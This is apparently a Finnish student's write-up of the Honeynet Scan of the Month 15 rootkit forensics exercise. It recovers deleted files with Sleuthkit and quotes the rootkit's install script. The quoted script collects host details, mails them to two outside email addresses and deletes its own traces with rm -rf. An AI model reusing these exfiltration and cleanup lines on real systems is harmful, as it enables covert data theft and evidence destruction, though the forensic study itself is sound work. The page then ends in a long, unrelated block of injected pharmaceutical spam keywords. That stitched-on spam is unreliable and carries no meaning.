Linux palvelimena – Tehtävä 3

Rootkit etsintä

Tehtävänä oli löytää saastetun konen levykuvasta jälkiä rootkitistä.

HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Ratkaisu:

Asensin labran koneseen Xubuntu 14.04  Live USB-tikulta..

Latasin levykuva: http://old.honeynet.org/scans/scan15/

Päivitin pakettitietokannan:

sudo apt-get update

Päätin käyttää “sleuthkit”(lisäätietoa: http://www.sleuthkit.org/) niminen kokoelman,

niin latasin sen komennolla:

sudo apt-get install sleuthkit

menin kansioon missä saastunut levykuva on:

cd /home/Downloads

tarkistetin tarkistussumman:

md5sum honeynet.tar.gz

Summa oli sama kun sivustossa MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21

Olen purkanut levykuvan komennolla:

tar -xvf honey.tar.gz

Purettu levykuva sisältänyt kansion honeynet

screenshot-1

niin olin luonut tähän kansioon vielä kaksi kansiota allocated ja deleted yhdellä konmennolla:

mkdir allocated deleted

palautetaan allocated tiedostot kansioon allocated:

tsk_recover -a honeypot.hda8.dd allocated

1614 tiedostoa oli palautettu

palautetaan poistetut tiedostot kansioon deleted:

tsk_recover honeypot.hda8.dd deleted

37 tiedostoa on palautettu.

Minua enemmän kiinnostavat poistetut tiedostot

siellä löytyy vielä yksi arkisto lk.tgz purkasin sen:

tar -xvf lk.tgz

kansioon last on purettu:

screenshot-2

nimistä linsniffer, logclear voidaan päätää että ollaan lähellä.

komennolla: fls -l honeypot.hda8.dd | less

sain viimeksi käytetyjen tai poistettujen tiedostojen listan.

(komennolla fls saa tietoa mitkä vielä argumentit voi käyttää tällä sleuthkit komennolla)

screenshot-8

viimeiset ovat lk.tgz ja last 03:44 ja 03.45 käyetetty.

 

less install

screenshot-5

screenshot-7

tiedosto on skripti joka siirtää, kopioi ja poistaa tietoja netstat, ifconfig….

käsittelee konen verkkotietoja…

Computer tiedostoon rootkit keräsi tietokoneen tietoja:
echo “* Luam Informatiile dorite …”
echo “* Info : $(uname -a)” >> computer
echo “* Hostname : $(hostname -f)” >> computer
echo “* IfConfig : $(/sbin/ifconfig | grep inet)” >> computer
echo “* Uptime : $(uptime)” >> computer
echo “* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)” >> computer
echo “* Cpu Model : $(cat /proc/cpuinfo|grep model)” >> computer
echo “* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)” >> computer
echo “* Bogomips: $(cat /proc/cpuinfo|grep bogomips)” >> computer
echo “* Spatiu Liber: $(df -h)” >> computer

rivit:

cat computer | mail -s “placinte” last@linuxmail.org

cat computer | mail -s “roote” bidi_damm@yahoo.com

tulostavat computer tietoja ja lähettävät sähköpostia näihin osoiteisiin.

viimeinen rivi:

rm -rf last lk.tgz computer lk.tar.gz

poistaa kansion last ja tiedostot lk.tgz, lk.tar.gz, computer

eli peittää jäljet.

 

less cleaner

Screenshot - 6.png

tämä tiedosto ilmeisesti poistaa jäljet lokeista…..

Lähteet:

http://old.honeynet.org/scans/scan15/

http://www.sleuthkit.org/sleuthkit/man/fls.html

http://www.sleuthkit.org/sleuthkit/man/tsk_recover.html

http://www.cyberciti.biz/faq/tar-extract-linux/

https://jukkapentti.wordpress.com/2013/01/28/scan-of-the-month-15-rootkit/

https://vihonenl.wordpress.com/linux-palvelimena/

http://www.sleuthkit.org/case/sotm_15/

azithromycin 500 mg acyclovir cream what is azithromycin buy viagra online effects of stopping finasteride what is acyclovir cialis trial cialis pharmacy prices how long for azithromycin to take effect liquid cialis levitra 20mg finasteride hair loss side effects of ciprofloxacin 500 mg what is azithromycin used for buy generic viagra what bacteria does ciprofloxacin kill how does lexapro work generic lexapro common side effects of ciprofloxacin 500 mg lexapro dosing lexapro side effects generic levitra vardenafil 20mg ciprofloxacin dosage generic viagra 100mg finasteride 5 mg cialis cheap lexapro generic name escitalopram effets secondaires ciprofloxacin hydrochloride ophthalmic ciprofloxacin drops what is ciprofloxacin acyclovir ointment 5 lexapro cheap viagra is azithromycin penicillin cealis propecia what is finasteride used for tamoxifen nebenwirkungen viagra from canada cialis 30 day trial coupon what is viagra viagra what does viagra do herbal viagra what is finasteride acyclovir for cold sores lexapro side effects in men finasteride permanent side effects tamoxifen langzeitfolgen cialis pills viagra tablets finasteride and enlarged prostate viagra receptfritt what is ciprofloxacin prescribed for when will cialis go generic levitra without a doctor prescription cheap cialis viagra pillen kruidvat levitra bayer 20mg meilleur prix azithromycin uses lexapro reviews azithromycin medscape what is ciprofloxacin used for utilisation viagra lexapro vs zoloft viagra side effects finasteride for women ciprofloxacin hcl 500 mg tab free viagra viagra tablet azithromycine 250 mg azithromycin for strep throat order viagra viagra for sale azithromycin 500 cialis online cialis testimonials lexapro vs celexa how to get off lexapro levitra dosage wholesale cialis what does finasteride do where to buy viagra ciprofloxacin hcl ciprofloxacin hcl 500 mg zovirax pills cialis generic tadalafil lexapro side effects in women azithromycin pediatric dosing cialis medication viagra effects ciprofloxacin lexapro and wellbutrin combination therapy side effects of acyclovir tamoxifen interaction viagra without a doctor prescription usa is ciprofloxacin a penicillin cialis sample lexapro bula lexapro generic cialis canada ciprofloxacin dose cialis savings card what is cialis zithromax azithromycin 500mg azithromycin 250mg daily cialis generic for lexapro tamoxifen bijwerkingen acyclovir azithromycin equipe argentine viagra effects of stopping lexapro suddenly lexapro dosages lexapro 10mg escitalopram 10 mg para que sirve viagra on line no prec acyclovir dosage for cold sores does lexapro cause weight gain finasteride results cialis tadalafil canada viagra ciprofloxacin 500mg antibiotics online viagra cipro and tendonitis azithromycine lexapro 20mg cialis pricing escitalopram 20 mg tamoxifen citrate side effects of lexapro azithromycin z pak finasteride vs dutasteride azithromycin for uti side effects of cialis viagra dosage cialis daily stopping lexapro cipro uses withdrawal from lexapro thuoc azithromycin azithromycin 5 day dose pack what is cipro lexapro dosage cialis 5mg viagra alternative escitalopram 10mg ciprofloxacin eye drops acyclovir 400 mg how to use viagra cialis without a doctor’s prescription lexapro 10 mg cialis 5mg daily ciprofloxacin bnf finasteride 5 mg tab levitra 20 mg von bayer azithromycin pregnancy tamoxifen lawsuits cialis website viagra for women ciprofloxacin hydrochloride viagra coupons free cialis how does acyclovir work online cialis viagra sex ciprofloxacin spc cipro dangers cipro drug class acyclovir 800mg azithromycin without a doctor’s prescription cialis voucher lexapro 5mg what works better than viagra viagra ohne rezept auf rechnung what is lexapro for cialas azithromycin 500 erfahrungen lexapro weight gain zovirax dosage canadian cialis levitra vs viagra for hardness pfizer viagra viagra wiki lexapro and weight loss celexa vs lexapro ciprofloxacin side effects in women lexapro and weight gain viagra single packs viagra coupon zithromax antibiotic lexapro withdrawal tamoxifen side effects viagra pills is azithromycin vardenafil vs viagra what is azithromycin for levitra coupon lexapro vs wellbutrin what is escitalopram how long for lexapro to work cialis effects finasteride efectos secundarios cialis patent expiration date extended ciprofloxacin class viagra tesco azithromycin 250 mg treatment tamoxifen and weight gain ciprofloxacin 500 mg cialis generic azithromycin 250 mg lexapro withdrawal symptoms viagra price azithromycin 250mg tablets 6 pack azithromycin tablets escitalopram generic cialis buy viagra zithromax z-pak levitra 10 mg prezzo viagra cialis viagra substitute what is acyclovir used for generic cialis at walmart lexapro for anxiety acyclovir side effects acyclovir 400mg natural viagra cheap levitra finasteride medication levitra vs viagra women viagra ciprofloxacin coverage side effects of lexapro in women lexapro para que sirve side effects lexapro canadian viagra cialis 20mg directions viagra 100mg tablets retail price ciprofloxacin 500mg tablets tamoxifen cialis coupon print viagra bestellen cipro 500 side effects of tamoxifen cialis coupon 20 mg escitalopram side effects viagra soft cialis alternative generic cialis tadalafil cialis samples cialis side effects generic levitra tamoxifen cost acyclovir medication side effects of azithromycin lexapro manufacturer website side effects of finasteride 5mg female viagra viagra for men azithromycin pregnancy category viagra vs cialis viagra 100 azithromycin three times a week viagra en ligne livraison 24h cialis patent expiration levitra 20mg cost per pill cialis 20 mg zovirax ointment propecia side effects lexapro coupons buy cialis cilias viagra cost cost of cialis cialis reviews zovirax for cold sores finasteride long term effects nolvadex ciprofloxacin 500mg antibiotics side effects tamoxifen therapy ciprofloxacin 500mg buy levitra online cipro antibiotic cialis professional what is lexapro viagra pill cialis for bph viagra ohne rezept aus deutschland ciprofloxacin 500 mg tabletten levitra 20 mg cost walmart finasteride tablets acyclovir vs valacyclovir viagra costs lowest cialis prices cialis vs viagra generic for cialis azithromycin and alcohol ciprofloxacin 250mg cialis cialis free trial cialis cost viagra generico ciprofloxacin uses cipro side effects in elderly zithromax dosage zovirax cream cialis coupons viagra vs cialis buy levitra cialis on line how to take cialis discount viagra sophia viagra cialis for daily use levitra prezzo in farmacia ciprofloxacin 500 finasteride dosage viagra 100mg buying viagra lexapro benefits for women escitalopram 10 mg azithromycin cost erectile dysfunction cialis lexapro side effects men cost of viagra what does ciprofloxacin treat viagra alternatives generic viagra what is tamoxifen used for 9 levitra at walmart viagra medicine levitra side effects of finasteride levitra 20 mg precio farmacia post finasteride syndrome viagra 50mg cialis otc cialis for women azithromycin tablet finasteride 5mg tab cialis dosage strengths cipro side effects what is tamoxifen what is cipro usually prescribed for acyclovir for shingles cialis 20mg ciprofloxacin side effects zoloft vs lexapro canada cialis acyclovir dosing cialis copay card how to wean off lexapro without withdrawals cialis generic availability side effects of viagra viagra wikipedia cialis discount antibiotic ciprofloxacin viagra nebenwirkungen finasteride 1mg tamoxifen and foods to avoid cialis prices levitra rezeptfrei deutschland how does viagra work side effects of lexapro 10 mg side effects of ciprofloxacin azithromycin liquid viagra vs cialis vs levitra viagra on line viagra generic levitra erfahrungen ciprofloxacin dosierung azithromycin vs erythromycin sex viagra for women tamoxifen side effects in women over 55 zithromax 500 mg ciprofloxacin nebenwirkungen cialis coupons from manufacturer acyclovir dose azithromycin eye drops viagra vs cialis vs levitra viagra natural wellbutrin and lexapro viagra without a doctor prescription finasteride effets secondaires ciprofloxacin 500 mg for urinary tract infection revatio vs viagra azithromycine eg 500 mg bijsluiter finasteride 5mg how long does viagra last cialis vs viagra cipro antibiotics side effects of azithromycin 250 mg 200 cialis coupon levitra vs viagra viamedic cialis cialis dosage how much does cialis cost finasteride side effects is tamoxifen chemotherapy levitra prices cialis coupons 2017 ciprofloxacin side effects after age 60 acyclovir dosage how to wean off lexapro what does ciprofloxacin 500mg treat cialis for sale is lexapro a controlled substance azithromycin coverage cialis coupons printable viagra 100 mg zovirax lexapro medication finasteride side effects in men how does cialis work finasteride for hair loss what is lexapro used for finasteride reviews cipro for uti levitra online over the counter viagra viagra canada cialis canadian pharmacy acyclovir 800 mg for shingles azithromycin drug class lexapro and weight gain in women escitalopram nebenwirkungen cialis for men cialis samples overnight ciprofloxacin ophthalmic solution finasteride ciprofloxacin drug class escitalopram oxalate cialis dosage recommendations cialis price acyclovir 800 mg cipro cialis 5 mg lexapro overdose what does azithromycin treat cialis 10 mg levitra coupons azithromycin 250 cipro dosage price cialis tamoxifen and bone pain azithromycin for pneumonia ciprofloxacin 250 mg ciprofloxacin used for ciprofloxacin hcl 500 mg side effects cialis 30 day sample what is cipro used for acyclovir 200mg pfizer viagra coupons from pfizer ciprofloxacin for dogs discount cialis azithromycin side effects viagra prices cyalis finasteride 5mg side effects mayo clinic azithromycin class acyclovir ointment cialis patent expiration 2017 tamoxifen side effects in women levitra 20 mg viagra uk first few days on lexapro levitra generic finasteride 5mg side effects azithromycin dosage acyclovir 800 mg 5 times a day cialis pills for sale viagra sans ordonnance best price viagra weaning off lexapro viagra samples cialis from canada what is acyclovir for cialis or viagra buy cialis online buy generic levitra viagra kaufen viagra activate what infections does ciprofloxacin treat viagra online cialis coupon vardenafil 20mg viagra for sale uk

Leave a Reply

Your email address will not be published. Required fields are marked *